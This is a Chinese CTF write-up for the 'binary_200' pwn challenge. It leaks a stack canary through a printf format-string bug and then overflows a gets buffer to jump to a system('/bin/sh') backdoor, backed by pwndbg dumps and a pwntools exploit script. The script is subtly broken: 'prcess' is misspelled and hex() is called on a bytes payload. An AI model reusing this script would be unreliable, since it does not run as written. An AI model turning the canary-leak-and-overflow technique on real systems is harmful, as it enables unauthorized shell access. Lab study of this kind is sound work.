做题步骤
检查文件保护
32位文件,开启了NX和Canary保护
先介绍一下保护
NX: NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
Canary: 这个选项表示栈保护功能有没有开启。
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。原理是在一个函数的入口,先从fs/gs寄存器中取出一个四字节(eax)或者八字节的rax的值存在栈上(最低位都是\x00),当函数结束是会检查这个栈上的值是否和存在去的值一致,若一致则正常退出,如果是栈溢出或者其他原因导致canary的值发生变化,那么程序就会执行___stack_chk_fali函数,继而保护程序
绕过方法
printf属于可变参数函数,函数调用者可以指定参数和数量,这样我是漏洞产生的原因
ida查看
漏洞:printf(格式化字符串漏洞)和易导致栈溢出的函数gets
同时返现后门函数sys(“/bin/sh”)
**思路:**先覆盖canary处的值,添上canary的值,然后覆盖至canary_protect_me处,getshell。
首先,在printf函数处下断点,看字符串在堆栈中的位置
pwndbg> b printf
Breakpoint 1 at 0x80483e0
pwndbg> r
Starting program: /home/fanfan/Desktop/Basic question type/binary_200
aaaa
Breakpoint 1, __printf (format=0xffffd494 "aaaa") at printf.c:28
28 printf.c: 没有那个文件或目录.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*EAX 0xffffd494 ◂— 'aaaa'
EBX 0x0
*ECX 0xf7fb3580 (_IO_2_1_stdin_) ◂— 0xfbad2288
*EDX 0xffffd498 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1
*EDI 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESI 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*EBP 0xffffd4c8 ◂— 0x0
*ESP 0xffffd47c —▸ 0x80485d8 (main+119) ◂— lea eax, [esp + 0x14]
*EIP 0xf7e182b0 (printf) ◂— endbr32
──────────────────────[ DISASM / i386 / set emulate on ]───────────────────────
► 0xf7e182b0 <printf> endbr32
0xf7e182b4 <printf+4> call __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
0xf7e182b9 <printf+9> add eax, 0x19ad47
0xf7e182be <printf+14> sub esp, 0xc
0xf7e182c1 <printf+17> lea edx, [esp + 0x14]
0xf7e182c5 <printf+21> push 0
0xf7e182c7 <printf+23> push edx
0xf7e182c8 <printf+24> push dword ptr [esp + 0x18]
0xf7e182cc <printf+28> mov eax, dword ptr [eax - 0x74]
0xf7e182d2 <printf+34> push dword ptr [eax]
0xf7e182d4 <printf+36> call __vfprintf_internal <__vfprintf_internal>
───────────────────────────────────[ STACK ]───────────────────────────────────
00:0000│ esp 0xffffd47c —▸ 0x80485d8 (main+119) ◂— lea eax, [esp + 0x14]
01:0004│ 0xffffd480 —▸ 0xffffd494 ◂— 'aaaa'
02:0008│ 0xffffd484 ◂— 0x0
03:000c│ 0xffffd488 ◂— 0x1
04:0010│ 0xffffd48c ◂— 0x0
05:0014│ 0xffffd490 —▸ 0xf7fb33fc (__exit_funcs) —▸ 0xf7fb4180 (initial) ◂— 0x0
06:0018│ eax 0xffffd494 ◂— 'aaaa'
07:001c│ edx 0xffffd498 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1
─────────────────────────────────[ BACKTRACE ]─────────────────────────────────
► f 0 0xf7e182b0 printf
f 1 0x80485d8 main+119
f 2 0xf7de2ed5 __libc_start_main+245
尝试打印该地址的内存
pwndbg> x/20wx 0xffffd480
0xffffd480: 0xffffd494 0x00000000 0x00000001 0x00000000
0xffffd490: 0xf7fb33fc 0x61616161 0x0804a000 0x08048652
0xffffd4a0: 0x00000001 0xffffd564 0xffffd56c 0xf7dfc469
0xffffd4b0: 0xf7fe22b0 0x00000000 0x0804860b 0x7a439500
0xffffd4c0: 0xf7fb3000 0xf7fb3000 0x00000000 0xf7de2ed5
从0x00000000开始,确定字符串的偏移量为5
结合汇编看一下
可以得到寄存器edx(esp+3Ch)里存放的是Canary的值:
EAX 0x0
EBX 0x0
*ECX 0xffffffff
*EDX 0x438e0b00
*EDI 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESI 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*EBP 0xffffd4c8 ◂— 0x0
*ESP 0xffffd480 —▸ 0xffffd494 ◂— 0x61616100
*EIP 0x80485ed (main+140) ◂— xor edx, dword ptr gs:[0x14]
在上边查看,可以得出canary偏移量为15,所以在第一次gets时发送%15$x就会(printf)泄露canary的值
然后我们来确定第一次gets到canary的偏移,我们知道[esp+0x3c]即v5处处存放canary的随机参数,在IDA中我们分别进入v5和第一个&s,发现偏移40
EAX 0x0
EBX 0x0
*ECX 0xffffffff
*EDX 0x438e0b00
*EDI 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESI 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*EBP 0xffffd4c8 ◂— 0x0
*ESP 0xffffd480 —▸ 0xffffd494 ◂— 0x61616100
*EIP 0x80485ed (main+140) ◂— xor edx, dword ptr gs:[0x14]
然后我们通过上边查看,图中已经有了esp和ebp的地址,我们可以算出v5=[esp+0x3c]=ffffd4d0,v5的偏移量=ebp-v5,结果为12
exp
from pwn import *
p = prcess('./binary_200')
system_addr = 0x0804854d
p.sendline('%15$x')
canary = int(p.recv(),16)
print(hex(canary))
payload = b'a'*40+p32(canary)+b'a'*12 +p32(system_addr)
print(hex(payload))
print(payload)
p.sendline(payload)
p.interactive()
getshell